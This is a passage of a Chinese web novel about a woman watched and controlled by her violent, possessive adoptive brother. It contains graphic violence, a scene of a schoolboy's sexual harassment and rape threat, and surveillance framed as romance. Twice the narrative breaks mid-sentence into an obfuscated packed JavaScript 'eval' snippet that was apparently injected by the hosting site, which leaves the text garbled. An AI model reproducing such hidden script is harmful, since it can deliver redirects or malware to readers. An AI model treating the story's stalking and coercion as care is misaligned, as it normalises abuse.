照例汇报完工作,邵应开口道:“小姐那里没有异常,上午一直在家。格雷和石振都在公寓附近,不会出现纰漏。” 格雷是重金聘请的前美国海军上将,上一任的保护对象是前美国第一夫人,石振则是当年顾袅父亲身边的司机,心思缜密。 保护和监视之间的界限,本来就难以定义。 从顾袅在纽约上女校开始,包括但不限于她今天吃了什么,上了什么课,又做了什么社区活动,事无巨细都会由他汇报给顾宴朝,而这些她并不知情。 可就算上的是女校,再谨慎的安保措施,依然没能防住她和人私奔。 除却白天的时间,晚上她和顾宴朝在一起,才不会有那么严密的看守,这也是为什么顾袅那天晚上能成功逃跑的原因。 而现在,监控得更加严密,几乎无孔不入。 他比任何人都清楚,如果再次失职,所有人工作不保。 顾袅住的公寓,用的也是安全防窥的玻璃。 但格雷带来的以色列发明的最高端的监视设备,就算是防窥视的安全玻璃,也可以窥视里面的情况,不过通常是商场上用于窃取商业机密的手段。 暂时,应该还没有人会用在监视女人身上。太过浪费资源。 不过邵应依然负责地询问是否需要。 安静片刻,顾宴朝碾灭手中的烟,漫不经心道:“让他少自作主张。” 如果用了那破东西,他是能看到她每天做什么,可还会有别人看见她在家里是什么模样。 几年前,他们还住在一起的时候,顾袅在家里有时不穿内衣,她还以为他看不出来,光着脚在客厅里走来走去。 那副样子被谁看见,他恐怕会忍不住把那人眼睛剜掉。 男人唇边勾起弧度,垂下眼,看着掌心,眸光暗了暗。 明明昨晚只抱了那么一会儿,满手沾的都是她身上的香味儿。 在这四年里无数个日日夜夜里,他想过,他应该把她的腿打断,把她抓回来,这样就再也不能跟着别的男人跑了,或者折断那双敢给他下药的手。 就算残废了,他养着就是了,像以前一样。 就在他正准备那么做时,像是察觉到了危险似的,那双手缠了上来,胆大包天地勾着他的脖子。脑袋也往他胸口埋进去,像只猫似的蹭来蹭去。 盯着这么看了一会儿,刚起的念头又消了下去。 看她睡得香甜,无知无觉,纤细的指尖白嫩漂亮,还是会动的样子好看些。 这些年,有多少人曾经挑衅他,背叛过他,最后也只有一个下场。 死了,他可以既往不咎。或者是比死更凄惨的下场。 唯独对她,是例外。他试过,下不去手。 也许他该适当地给她一些自由,只要她不再激怒他。 偌大的办公室陷入安静。 看着男人不再似刚刚冷厉的面容,邵应停顿了下,不知应不应该现在开口。 片刻,他还是出声:“小姐下午去了一家表店。” “购入了一块男表。” 5.第 5 章 今天一整天没有通告,顾袅记得盛柏言的生日就在下周,定位了附近商场的表店,带上了口罩出了门。 柜姐眼光毒辣,顾袅没有提前预约,依然带她进到VIP室里,又给她端来巧克力和气泡水。 大多数款式没有现货,等货也要一阵子,时间上来不及。她只能在有限的选择里面挑了一块二十万左右的,当作生日礼物。 不仅快到盛柏言的生日,也快到顾宴朝的生日了。 还有一个多月。 要不要顺便给顾宴朝也买一块?顾袅看着银行发来的短信余额,陷入了纠结。 转念一想,几十万的表他也看不上眼,她记得当初在美国时,有寻求投资的创业者来家里拜访,带的礼物是专门给他定制的一枚腕表。 二十万美金,不算便宜,也算不上十分贵,但是用了心设计的。结果男人看也没看一眼,嗤笑一声就让佣人扔出去。 说家里又不是垃圾场,别是样东西就收。 柜姐打包好走回来,见她盯着柜台里的手表出神,于是礼貌问:“顾小姐,这块手表需要帮您预定吗?” “您留给我一个联系方式,到货之后我送到您家里。” 想起当时的情形,顾袅沉默片刻,笑着开口:“谢谢,还是不用了。” - 秋日的午后阳光明媚,被柜姐热情地送出店门,顾袅看见路边停着一辆黑色迈巴赫,引来不少路人侧眸。 驾驶座下来一个身形健硕的寸头男人,五官硬朗,穿着黑色T恤,手臂上还有大面积的纹身,让刚才还往这边看的路人瞬间收回眼神,绕着路不敢再看。 顾袅脚步停住,没想到会在这里看见熟悉的人。 她迟疑开口:“阿振?” 他给她打开后座车门,“朝哥让我来接你。” 是她父亲原来的司机,大名石振,她之前也叫他阿振,只是外表看上去有些吓人,可做事十分稳妥衷心,武术馆出身,她还在上初中时,石振也常常会接送她上下学。 数年过去,他依旧沉默寡言,似乎看出她眼里的疑惑,只解释一句:“朝哥说不放心别人给他开车。” 她以为他不会想跟秦家过去的一切扯上任何关系,石振对他的称呼更像是会把他的过去揭露出来。 顾袅不敢回忆那些过去,也不知道顾宴朝留下以前的人在身边又是为了什么。 坐在宽敞柔软的后座,午后温暖的阳光透过车窗照进来,她只觉得浑身发冷。 还有,顾宴朝怎么会知道她去了哪里? 答案只有一个,他派人监视她。 所以如果她真的像早上想的那样,买机票逃走,恐怕到了机场就会被他的人拦下来。 想到这种可能,她不由得心里一沉,像是压着一块巨石喘不上气。 果然,他不会那么轻易放过她。 昨晚那杯酒只是一个开始,接下来呢?他会不会强行把她绑回美国,再关起来? 就这样浑浑噩噩地想着,不知不觉就到了地方。 她透过车窗一看,发现竟然是高尔夫球场。 一个年轻清俊的男人站在那里打电话,他穿着西装,浑身散发着拒人千里之外的冷漠,脸上没有任何表情。 顾袅认出了他,眼里露出惊喜:“邵应?” 挂断工作电话,男人闻声侧眸,她又冲他笑了笑,精致眉眼弯起:“好久不见。” 她是把他当成许久未见的朋友打招呼,关心他的近况。 女孩的容貌和四年前比有了一些变化,但并不算大。 邵应看了几秒,随即平静移开目光:“好久不见。” 他走在前面,带着她进去。 路上,顾袅又忍不住发问:“你的胃病怎么样了?这几年有好转吗?” 没想到她还记得,男人冷若冰霜的神色有一瞬间的碎裂,但很快恢复如常。 他冷淡回:“还好。” 邵应早在顾宴朝十八岁那年就跟在他身边当助理,那时顾袅还和顾宴朝一起生活在曼哈顿的顶层公寓里。有时他去取文件,会刚巧撞上她在家里做甜点烤饼干,冷清的豪华公寓里充斥着的都是曲奇香气,还会特意给他装一份。 有一次大概是因为她疏忽,把东西烤糊了,烟雾警报器响个不停。他刚好过来,耽误了点时间帮她处理好赶来的火警。 她为了表示感谢和抱歉,把珍藏在冰箱里的栗子蛋糕拿出来,非要送给他。邵应从包装盒认出那是她最喜欢的甜品店,因为之前顾宴朝让他去排队买过。 他分明从她的表情动作里看出来对蛋糕的不舍,但她坚持要给,他也只好收下。 有一次去接她,顾袅偶然看见了他刚从医院取回的体检报告。 美国的工作午餐大多都是三明治之类的简餐,何况他这份工作,经常也没时间吃饭,时间长了,胃病自然找上门。 后来她给顾宴朝送饭的时候,她也会顺道给他准备一份养胃的粥。她的厨艺很好,几乎每次都不重样。 直到顾袅离开,他的生活也再度回归平常。 邵应后来慢慢发现,她不只是对顾宴朝好,而是对身边每个人都很好。对菲佣客气有礼,对同学友善,从不虚荣攀比,乖巧又谦卑。 有生意上的合作伙伴有时会从他这里旁敲侧击,猜测顾宴朝金屋藏娇的是什么类型的女人,以此判断顾宴朝对异性的喜好,投机取巧。 他口风严密,拒不多谈。心里想的却是,哪里是什么女人,女孩而已。 当然,他也没想过,看起来那么乖顺的人,竟然也敢给顾宴朝下药,计划周全地逃跑,而且是和另一个男同学一起。 一起逃跑,应该可以算作私奔?他也不太确定。 豢养在金屋里的小鸟,怎么受得了外面的风吹雨打,何况她走的时候身无分文。 殊不知,一别四年,她没再回头。 沉默片刻,他开口提醒:“顾总今天心情不太好,董事会进展不顺。” 顾袅知道他是好心提醒自己,表示知道了。 到了露天球场,只见一个年轻男人站在顾宴朝的身边。 皮肤白皙,看起来像是中美混血,金色卷发,碧蓝色的眼睛,左耳却带着一枚耀眼的蓝钻耳钉,看上去邪气又傲慢。 应该也是顾宴朝身边的助理,只是她没见过,应该是她离开后入职的。 迎面撞上时,顾袅礼貌地朝对方点点头,对面却无视她,径直从她身边走过。 她有些莫名,不明白对方敌意是因为什么。 男人转身和邵应一同离开,走廊里,两人沉默着并肩向前走。 “她就是老板那个没有血缘关系的妹妹?” 褚瑞轻蔑地勾唇,用有些蹩脚的中文说:“看起来就很...” “表里不一?这个成语是这样用吗?” 话落,身旁的邵应瞥他一眼,眼里似有摄人冷意。 “你想回去?” 褚瑞有些意外地挑挑眉,惊讶在他脸上还能看到别的表情。 他耸了耸肩,藏起眼底的暗光,笑:“当我没说。” 跟在顾宴朝身边的这几年,名模巨星,聪明有手腕的女强人,名媛小姐,各式各样都见了太多。 值得男人放下美国那边的事情千里迢迢赶回来,浪费珍贵的时间做局弄死一个像蝼蚁一样弱小的男人,总要有些特别之处。 明明没有血缘关系,但从高中开始就被男人豢养着,享尽了奢侈生活,像金丝雀,菟丝花,最后却反咬了主人一口。 这样的女人,不可原谅的背叛,在他看来,就该得到惩罚。 他申请调来,就是为了看好戏的。 - 落日将近,一望无垠的绿色里,阳光将绿荫草地都镀上一层柔和的金光。 球场显然已经被人包了场,只有零散的几个工作人员和球童,都经受过严格的培训,视线谨慎地不往顾袅的方向多看,她不用担心被人拍下来。 顾袅蓦然想起,以前在美国她也会偶尔陪他去高尔夫球场。 一开始她只在普通的私立学校,没有这么高级的课外活动。后来顾宴朝的钱越赚越多,她就转到了纽约最贵的私立学校。 美国人钟爱各种运动,什么高尔夫冰球骑马,还都是一些属于精英阶层的运动,学校里也经常会有高尔夫球比赛,或者课程,她的同学们都会,所以她也得学,否则没法融入那个圈子。 从她上了11年级开始,顾宴朝越来越忙,他早出晚归,明明住在一个屋檐下,他们见面的时间却越来越少。 后来他周末白天类似这样的应酬场合,就开始带着她。 他不让她陪在旁边一起,就只是让她在休息区里等着。 二楼的休息区落地窗是透明的,他转头就能看见她。 只要在他视线范围之内就可以了,无所谓做些什么,他要确保每分每秒都能看到她。 美国私立高中周末几乎没作业,她有时带着本子画画,有时带着书看,也不打扰任何人,就安安静静地坐在那。 男人社交的场合里从来不缺美丽女人,但像她这样,身上还穿着校服的女高中生就很少见了。 她那时候不懂那些,有一次,遇到一个男人上前搭讪。 顾袅只觉得那人看她的眼神令她极不舒服,她没有理会,那人觉得丢了面子,就要对她动手,被球场经理拦住后,不得已才罢休,走之前嘴里还恶狠狠地骂了她几句。 后来邵应来找她,说让她回车上等着,走到一半,她又想起有东西落在了球场,折返回去拿。 然后就透过二楼的玻璃,看到了楼下那一幕。 绿荫场上,刚才辱骂过她的那个外国男人被捆住了手脚,跪在地上。 他的身前站着一道修长的人影,黄昏的光线晕染在那人四周,熟悉的轮廓和侧脸,俊美如神坻,居高临下地站在那。 是顾宴朝。 顾袅呼吸绷紧,看着他把昂贵的高尔夫球杆塞进了那个外国男人嘴里,看着那人的眼球凸起,狰狞,嘴边有鲜红色的液体顺着嘴角缓缓流淌下来。 不知道是嘴巴被撕裂,还是里面口腔被划破流出的鲜血,染脏了那根上万美金的银质球杆,顺势滴落在绿油油的草地上。 极尽暴戾又血腥的一幕,但他长得太好看,做起来都显得极为优雅,整个场景就像一副色彩浓烈鲜明的油画。 在那人濒临窒息前,他把球杆扔下,旁边的人递上了手帕,男人接了过来,慢条斯理地擦拭被喷溅上鲜血的手。 她浑身颤抖地捂住嘴,极力控制住自己不要尖叫出声,在没人发现她在这里之前,转身跑掉了。 回到车上,顾袅脸色惨白,手心都是汗,浑身冰凉,只要闭上眼,就都是那副可怖的画面。 不久后,顾宴朝也回到车上。男人的身上半点血腥气都没有,仿佛刚刚目睹的一切只是她的一场幻觉。 那只干净的手将她散落的发丝拢回耳后,声线低沉:“怎么出了那么多汗?” 明明心里已经害怕极了,她竭力控制着表情,不让他发现异常,用平时撒娇的语气说:“就是有点累,我不喜欢玩这个....” 男人盯着她的眼睛,静默片刻,轻笑一声:“那以后不来了。” 顾袅不知道他那天究竟发觉了没有,后来他就不让她陪着了,她当然也不敢再来了,在那之后她就戒掉了高尔夫这项运动,很长一段时间都走不出阴影,就连看到高尔夫球杆都忍不住发抖。 也是从那一天开始,顾袅终于彻底认清一个事实。 她明明教了他那么久,做人要善良,宽容,她以为他变了。 可他只是学会了伪装,他后来在她面前的温柔都是装的,暴戾和掠夺才是他的本性。 男人身型修长,他只是看起来清瘦,脱了衣服,裸露出来的手臂线条紧实。 最简单不过的Polo衫穿在他身上也显得格外贵气,宽肩窄腰,无论从哪个角度去看,在阳光下格外养眼。 逆光下,男人的面容被笼罩得冥冥不清,他正在用那块干净的手帕擦拭手指,一如那天下午的场景,像蛰伏盘踞在阴影处,压抑着凶性的巨蟒,看不清眼里有没有波动。 记忆里那一幕和眼前的画面缓缓重叠,她猛然回想起刚才邵应提醒她的话,终于觉出了一丝不对劲。 他心情不好,他为什么心情不好?心情不好又为什么要叫她来?难道和她有关吗? 顾袅的脚步僵住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话一出,顾袅彻底没了办法,不得不朝他走过去。 余光不可避免地看到男人劲瘦的腰,那层单薄的面料依稀透出他的肌肉线条,顺着腰线往下.... 鼓鼓囊囊的一大团,视线像是被烫到了,她忙不迭移开目光,从包装盒里把表拿出来。 他不是养尊处优的手,指腹上覆着一层薄茧,且不说前些年在燕城的时候,后来去了美国,他也常年练枪,甚至床边也放了一把。 卸下男人腕上原本戴着的表,顾袅看见冷白手腕那道疤痕,指尖骤然一顿,脸上血色微微褪去。 是那天她离开时,他用玻璃碎片划出的伤。 她没想到那道伤口居然那么深,之前被腕表遮盖住,她没有发觉狰狞的疤痕。 空气仿佛凝固住,头顶的视线盯着她,顾袅抿紧唇,动作有些慌乱急促地把表带扣好。 桌上是她的电话在响,屏幕上闪烁着来电显示。 ——柏言。 她把本该送给盛柏言的生日礼物给了他,现在正主打来了电话。 顾袅呼吸一紧,连忙俯身想去拿起电话挂断,可她刚弯下腰,脚下却忽然被男人绊了一下,那条长而有力的手臂将她揽到腿上。 她浑身一僵,刚想挣扎掰开他的手臂,电话被他划开接通了,放到她耳边。 整个过程快到她来不及反应,就听见耳边骤然响起一道温润低沉的男声。 “袅袅,是我。” 或许是听出她不自然的语气,盛柏言又温声询问:“你在做什么?” 身下男人的大腿硬邦邦的,完全露天的场地,顾袅害怕被人看见,或者拍下来,浑身僵硬着。 她努力稳住心神,随口扯谎:“我…在家里看剧本。” 背后的滚烫气息近在咫尺,强烈到根本无法忽视,她不敢动弹,生怕被电话那边听见动静。 对面似乎没起疑,低声和她解释:“工厂最近出了些问题,我得先留在临城处理好,可能还要晚几天回去。” 顾袅张了张唇瓣,刚想开口,却又忽然咬住,止住那声差点脱口而出的嘤咛。 表带还是冰凉的,剐蹭到了她颈侧的肌肤,她刚才亲手给他带上去,此刻却成了搅乱她心神的罪魁祸首。 她甚至不怕他直接掐着她的脖子质问她和盛柏言究竟是怎么回事,更害怕他这样诡异的温柔,像是织成了一张大网,打算将她牢牢拢进去,逃也逃不掉。 那种感觉令她心慌,也像钝刀子杀人,不知道哪一分钟就要发作。 就在她心慌走神时,那只手忽然摸上她的耳垂,像是在描摹一件艺术品似的,缓慢流连。 顾宴朝轻眯起眼,她今天带了耳钉,雪花形状的,在乌黑发间若隐若现地发着光。 像是真的有一片雪花落在她的耳尖上,原本白皙的耳垂此刻泛成了粉色,娇得漂亮。 顾袅又抖了一下,呼吸更乱,想偏头躲开,他又追上来,乐此不疲。 侧过脸,只看见男人的喉结动得漫不经心,一副浑不吝的模样。 她下意识失神刹那,对面,盛柏言的语气比刚才更加温柔:“袅袅,我有话想跟你说,等我回去,好吗?” 顾袅回神,胡乱应着:“.....好。” 他的语气是任谁都能听出的情意缱绻。 然而她却根本无心深想,她害怕身后的人会突然出声,被对面发现,所以迫不及待想挂断电话。 顾宴朝记得她什么时候打的耳洞,十六岁,发炎肿了三天,那几天耳垂都是红彤彤的,像兔子耳朵。 女人他见多了,没谁像她这样,从头到脚都顺他的眼。 光是坐在这就像在勾引人。没长开的时候是,现在更是。 男人轻笑一声,收回手。 本来想着,她喜欢温柔体贴的小白脸,他也不介意装一装,让她少掉两滴眼泪。 现在坐在他的腿上,还敢跟别的男人打电话。 她是真当他死了。 6.第 6 章 落日余晖依旧刺眼,猛然回过神,顾袅用力扯开他的手臂,从他身上站起来。 这次轻松就挣脱开了,她呼吸急促,胸口不停起伏着,耳垂被他触碰过的地方还在发烫,脑中思绪乱成一团。 她抢回手机,看也不看椅子上坐着的人,头也不回地就跑,身后没响起阻止的声音。 匆匆逃离时,撞上了拿着电话回来的邵应。 看了一眼她仓皇失措的样子,他没多问,让球场经理引路送她出去。 走了一路,似乎身上沾染的气息还是久久不散,顾袅心里还在担心刚才那一幕有没有被人看到,忽然注意到身后似乎一直有一道跟着的人影。 她回头,不远处转角是个年轻男人,带着鸭舌帽遮住了大半的脸,弓着腰,走路姿势一瘸一拐,推着清洁车走了过去。 那人似乎有些眼熟,顾袅抿唇思索片刻,一段记忆忽然从脑海里闪过。 她皱紧眉,转头询问身边的球场经理:“刚才过去的那个人是谁?” 经理顺着她的视线看过去,恍然大悟:“哦,您说小项啊,他叫项岩磊,是我们这儿的球童,三年前就在这工作了。” 似是见她感兴趣,经理又主动解释,语气唏嘘不已:“项家三年前就破产了,欠了不少钱。后来他一直都在这座高尔夫球场当球童还债,也会负责一些清洁工作。” 项岩磊,是她当时在燕城上学时的同学。 那时她刚跟着顾宴朝回到顾家,回到了从前的学校,似乎一切和父亲去世之前并无两样。 那一天也和今天一样,是个落日。 顾袅一个人在学校的舞蹈室里排练校庆的节目,她很专注,因此没有发现门外偷窥的那双眼睛。 结束后,她去更衣室里换衣服,就看见门外闪过一道人影。 是跟她同年级的同学,学校里出了名的纨绔子弟,项岩磊。 他试图纠缠过她很多次,但顾袅从不理睬。 直到她打开反锁的门出来,就看见不远处,少年的裤子已经脱掉垂在脚边。 他的手里正握住什么,不停撸动着,嘴里还在喘息,低声骂着什么。 顾袅看清了眼前的场景,意识到了他在做什么,吓了一跳。 四周空无一人,她转身就跑,身后的人也在追她,一边追,一边破口大骂,安静的长廊里回荡着他的声音。 “顾袅,你就是个没人要的累赘,就算老子今天在这把你上了,顾家那群老东西也不敢放一个屁....” 她跌跌撞撞地跑,一边回头看着身后有没有追上来,下一刻,却撞进坚硬的胸膛。 熟悉的气息,她呼吸一颤,抬起头,是顾宴朝。 他什么也没说,漆黑的眼里阴沉得可怖。 她被他关进旁边的教室里,从外面反锁了门,顾袅出不去,只能听见外面凄厉的惨叫声。 即便看不见,她也能想象到外面正在发生什么。 像是被隔绝成了两个世界,纤瘦的身型抵在门板上,她只能用力敲门,想要出去阻止他,手背砸得通红。 终于不知过了多久,外面安静了。 等门被他打开后,顾袅看见他的衬衫上溅了血,地上的人不知是死是活,下身血肉模糊一团。 她觉得视野变得模糊不清,想去看得仔细些,看看项岩磊究竟死没死,脸却被他拨了回来,摁在了胸口。 “少看脏东西。” 发抖的身体被他抱住了,眼泪不知何时打湿了脸颊,模糊了视线,只听见几乎快要跳出胸膛的心跳交织在一起,鼻翼间萦绕着血腥气。 他身上的戾气还在,不知道从哪里拿出手机,塞进她的手里。 他的手臂环抱着她腰间,难得温柔地轻抚过她发抖的背脊。 “乖,打电话报警。” 她浑身一颤,不可置信地看向他。 落日橙红的光线顺着走廊里的窗户映进来,镀在他的轮廓周围。 他的面容看上去云淡风轻,抬手轻轻擦掉她眼角溢出的那滴泪,嗓音低缓。 “警察如果问你,就说什么都不知道。记住了?” 他打算让她撇清关系,保全她。即便他有可能会因为故意伤害罪被告,也不打算让她说出实情。 她彻底反应过来,紧紧抓住他的袖口,好像浑身上下的所有力气都聚在了几根手指上,喉咙像是被人掐着,艰涩得发不出声。 浑身的血肉像是被抽干搅碎,大脑也空白一片。 不知过了多久,她听见自己的声音响起,语无伦次地问:“会坐牢吗....” 他没答会或是不会,额头与她相抵,眸中漆黑一片,声线沙哑。 “乖乖等我回去。” 项岩磊重伤住院,项家找上门来,扬言这件事誓不罢休。 闹出这样大的丑闻,顾家重要的旁枝长辈都来了老宅,在书房里一同商量该怎么办。 顾袅什么也做不了,只能跪在书房外,求他们救救他。 膝盖逐渐跪到失去知觉,她也不起来。 不知跪了多久,直到那些人陆陆续续走出来,有人斜眼看着跪在地上的她,冷哼一声。 “小小年纪,真是个祸水。” 不管怎样,他都是顾家的血脉,虽然身世耻辱,老爷子重视颜面,也害怕再折损一个骨肉至亲,不会白白看着他入狱,让顾家名声受损。 最后不知拿了什么利益做交换,项家主动撤了诉。 再后来,就是顾家所有人反对,不留他,老爷子做主,流放他去了美国。 明明那时他已经几乎接手了公司,一夕之间,所有的一切毁于一旦。 她跟着他走了,从此摆脱了燕城的一切。 无论过去多久,只要回忆起那天,心脏传来的钝痛似乎还没散去,还有残留在她身上的,属于顾宴朝的体温和气息。 “顾袅!” 突然有人从身后叫住她,顾袅转身,只见一个年轻男人正站在她身后不远处,竟是项岩磊追了上来。 记忆里的画面仍未淡去,顾袅脸色一白,下意识退后一步,和他拉开距离。 原来的富家子弟,在学校里桀骜霸道得不可一世,现在落魄潦倒得不成样子。 他身上穿着和其他球童别无二致的工服,下巴泛着青色的胡茬,再也没有了当初的嚣张狂妄。 他似乎想上前跟她说话,又看见附近站着的保镖,不得已停住脚步。 “顾袅,当年的事是我对不住你,你让顾总放过我们好不好?” 闻言,顾袅怔住,没明白他的话:“你说什么?” 男人紧咬着牙关,眼球突然变得猩红,像是已经恨进了骨子里:“贱人,你还装什么不知道!我家出事都是因为他在背后做手脚,就因为当初我爸让他下跪给我道歉,他后来就让人把我爸的一条腿打断了,这事过了这么多年,他还是不肯放过我们!我爸每天一瘸一拐的,还要早上四点起来去扫大街,从去年开始他就被诊断出了癌症,肝癌晚期!” 项岩磊家里出事的一开始,他还想不通是得罪了谁,那么厚的家底怎么就被人一夜之间掏空了?父亲在赌场欠债被人打断了一条腿。 明明顾宴朝在美国混得风生水起,却依然没忘了当初那档子仇,他有多睚眦必报,就算远隔万里也要搞到他家破人亡。 他到处都找不到工作,只有这家高尔夫球场愿意收留他。 为了节省医药费,父亲甚至还瞒着自己去报名了一个美国的癌症药物试验项目,虽然短暂延长了寿命,从另一个角度,却更像是延长了他的痛苦。 他只觉得自己的良心每天都在饱受折磨。 他很容易就见到了顾宴朝,又或者说,连他去恳求的这一步也被他算了进去。 项岩磊从来没有想过,当时任由他们羞辱的人竟然也能走到今天这样的地位。他当时听说顾宴朝被顾家流放到了美国,却没想到他竟然搅动了华尔街,一跃到了他们可望不可及的高度。 现如今的情况,他很清楚,自己没有任何翻盘或者报复回去的机会,他只能求,求他良心发现,放过他们一家老小。 “顾总,求你放过我爸,他年纪大了,又得了癌症,真的做不了这种工作....” 男人的姿态高高在上,修长的手指慢条斯理把玩着打火机,笑意未达眼底。 “他年纪大不大,得没得癌症,跟我又有什么关系?” 他浑身一震,又听见他说:“死之前再为医疗行业出最后一份力,不是很好吗?” 他花了几年时间才终于看明白了,顾宴朝就像一条野狗,他没有人性,一旦死死咬上了什么,就再也不可能松口,剥皮去骨,除非等到对方咽气,变成死尸散发腐臭味的那一刻。 留下他完整的一条命,健全的身体,是为了更好地羞辱他,压榨干他最后一滴血。 而他的父亲,对顾宴朝而言只是个几乎没什么用处的老东西,一个为了用来牵制他,胁迫他遭受羞辱的工具。 世界上怎么会有像顾宴朝这样残忍的恶魔存在?偏偏这个恶魔又掌控着足以操控别人人生的财富和权力。 男人声嘶力竭地冲她大吼道:“顾袅,这一切都是因为你才开始的,你跟这样冷血残暴的人在一起,你难道就不会害怕?一点都不会愧疚?” 顾袅的脸色一寸寸地白下来,浑身彻骨的冷意,她攥紧了手掌,才能勉强克制手臂的微微发抖。 她连呼吸都变得有些艰难,慢慢冷静下来,闭了闭眼,没有被他的话绕进去。 “先做错事的人是你,不是因为我。” 男人脸上是被戳破之后的气急败坏,他试图上前,又被保镖抓住动弹不得。 歇斯底里地大喊,眼睛还在死死瞪着她:“顾袅,你这是助纣为虐,你居然还在维护他,你的心根本也是黑的!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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监控室门口,邵应等了片刻,看见顾宴朝从里面走出来。 他跟了上去,在身后恭敬开口:“刚刚顾董事长来了电话。” “说是让您这次去俄国,带着林小姐一起去。否则北码头的航线,他会交给顾青去做。” 再明摆着不过的交易和威胁,邵应说完,却看见男人的面色没什么波动,连一丝讥讽都不见。 顾宴朝在出神。 他也记起来了,那年,他被顾家驱逐,说驱逐也许不够准确,更精准的词是流放。 顾青利用项家做局算计他,他清楚,但还是中计了。 他也和老爷子做了笔交易,拿着少得可怜的钱,去美国。 不出几年,他会带着翻了百倍,甚至上千倍的钱回来,前提是,顾袅必须在顾家衣食无忧,安全地等他回来把人接走。 本来想着安稳了再接她过去,如果他运气不好死在外面,顾家那群畜生应该不会好心地花钱让人把他的骨灰运送回国,只会拍掌大笑叫好。 恐怕只有她会眼泪汪汪地去求人,想尽办法飞过去祭拜他。 费大力气去看个死人,多晦气。 少女坐在床上,校裙下面的两条腿雪白纤细,膝盖处却有骇人的淤青,生生破坏了原有的美感。 她真害怕他进去坐牢,跪了多久,才能把膝盖弄成这样。 看见他进来,她委屈更甚,别开脸不看他。 她不说怎么回事,他也不主动开口,有耐心地等着。 他也就在她这儿有这么好脾气,还耐着性子欣赏她哭的模样。 就这么无声的僵持了一会儿,她年纪太小,怎么可能赢得了他。 最后还是她主动开口,咬着唇:“你要走吗?” 原来是听说他要把她丢下了,才哭得那么伤心。 顾宴朝忽然心情大好,半蹲下身,饶有兴味地捏了捏她脸上尚没完全褪去的婴儿肥,指腹传来的触感软嫩细腻。 脸还没他巴掌大,五官倒是比原先长开了点。 忽然又舍不得了。 忍下那阵凌虐欲,看出她是想和他一起走,他又低声问:“去了要吃苦,确定要去?” 她把头摇得像拨浪鼓似的,满眼坚定地看着他:“我不怕。” 明明那时候他还一无所有。 顾宴朝的视线不自觉盯着她一张一合的红唇,娇嫩饱满,说出来的话也让他心情愉悦。 哭都哭得这么漂亮,像沾了晨露的玫瑰花。难怪总被人盯上。 脑中忽然又冒出一个念头,不管他能在美国活下来还是死了,这不重要。 重要的是,他死了也得和她葬在一起。如果他们分隔两地,那他还怎么跟她葬在一块? 如果再有人打她的主意,他不在,顾家这群该死的老东西把她卖出去怎么办? 打定主意后,把人哄好了,顾宴朝又返回老爷子的书房,重新签了份像卖身契似的协议,把刚拿到的钱又还回去了大部分,这意味着他起步的路会更艰难,以后还会受顾家制肘几年时间。 但赎回了他的小人质,很划算。 想起她刚才眼泪汪汪拽着他袖口说要跟他吃苦的模样,忽而又笑了。 开玩笑,他怎么可能让她吃苦。 7.第 7 章 上午十点,燕城影视基地。 《烬华传》剧组开工第三天,在场的工作人员已经陆续布好了绿幕景。 导演许晋是个新人导演,也是盛柏言的大学好友,正在拍一部大制作的古偶戏。 顾袅是上个月答应的邀请,作为特别出演客串一个角色,这是她第一次在电视剧里刷脸,积攒些经验也是好事。 丁舒甜新招来的宣传兼助理也是个大四快毕业的小姑娘,大名叫米昕,丁舒甜图方便,索性叫人小米,还说刚毕业的大学生或许经验不足,但胜在有工作激情。 顾袅想了想,给她把月薪提到了三万。 化妆师在房车里给顾袅上妆,小姑娘抱着相机,在一旁咔嚓咔嚓拍了半天。 顾袅睁开眼,转过头关切问:“累不累,要不坐下休息一会儿?” 女人坐姿笔直端正地坐在椅子上,薄纱轻薄半透,露出锁骨处雪白如瓷的肌肤,眉间被点上了一抹红色花钿,眼尾也被描摹成了微微上挑,原本精致的眉眼被勾勒得更加妩媚,侧过来望的那一瞬眼波流转。 米昕下意识看得愣了几秒,然后猛猛摇头:“不累的!” 拍美女她最有动力了好吗!根本不觉得累。拍出来的照片几乎是可以原图直出的美貌,这份工作简直轻松到爆炸了。 原本她都做好了被虐的准备,三万的工资,她都做好了当牛做马的准备,看多了那些明星苛待助理的新闻,是被她遇到天使了吗? 房车门没关严,外面有人路过,谈话声传进来。 “快去看,顾氏的股票又涨了。” “早上官宣之后就一直在涨好吧。” 美国收益最高的对冲基金之一的老板就是现任顾氏集团执行总裁,重磅新闻早晨一经发布,股票像是坐了火箭往上涨。 闻言,顾袅目光微动,下意识也有些分神。 看见股票涨了,米昕抱着手机笑得合不拢嘴,见状,丁舒甜忍不住调侃:“你一个小姑娘,怎么还关注这些?” 闻言,女孩腼腆一笑:“我本科是学金融的,偶尔也买买股票。但我没什么天分,我买什么就跌什么,所以转行了。” “之前我们专业教授在课上把顾总那次货币战当作案例来分析,我们系里不管男女都很崇拜他。他做的每一次对市场的预测简直都封神了好吗,根本不是普通人能做到的.....” 那年针对中欧国家的货币狙击战,华尔街资本狂揽几十亿美金,顾宴朝一战成名。 顾袅记得那次。 第二天下午睡醒,她就发现衣帽间里又多出好几盒不知道从哪来的,成色无可挑剔的南非钻石。 见她越说越激动了,丁舒甜连忙出声打断:“好了好了。” 丁舒甜目光揶揄地看向椅子上静坐着的人,刚想开口说什么,放在桌上的手机又弹出一条新闻。 顾袅先一步看清了标题,呼吸微滞住,手指不自觉点开。 【顾氏集团新任掌权人与女友甜蜜同游,疑似好事将近?】 照片的背景在机场,宾利直接驶入停机坪排开,私人飞机停在一旁,蓝白的机身线条流畅,机组人员也恭候在飞机旁迎接。 男人身型颀长,一袭黑色大衣,笔挺的线条干脆利落,斯文矜贵,照片的角度并不能看清他的长相,依稀能看出棱角分明的侧脸。 即便看不清,也能觉出他身上的冷厉气场。 他的身后不远处还站着一个女人,两人不是并肩站的,女人穿着一身藕色长裙搭配风衣,看上去气质婉约知性。 新闻标题醒目扎眼,底下的网友评论更是热闹,关注点各有不同。 【顶配的湾流G700?太豪了吧,一年不得花上几个亿的维护费?】 【这种有钱人肯定长得巨丑,心疼美女,媚富有0个好处哈。】 【楼上收收你的蝻味儿,别季度了。看背影看身材,人家腿比你命都长。】 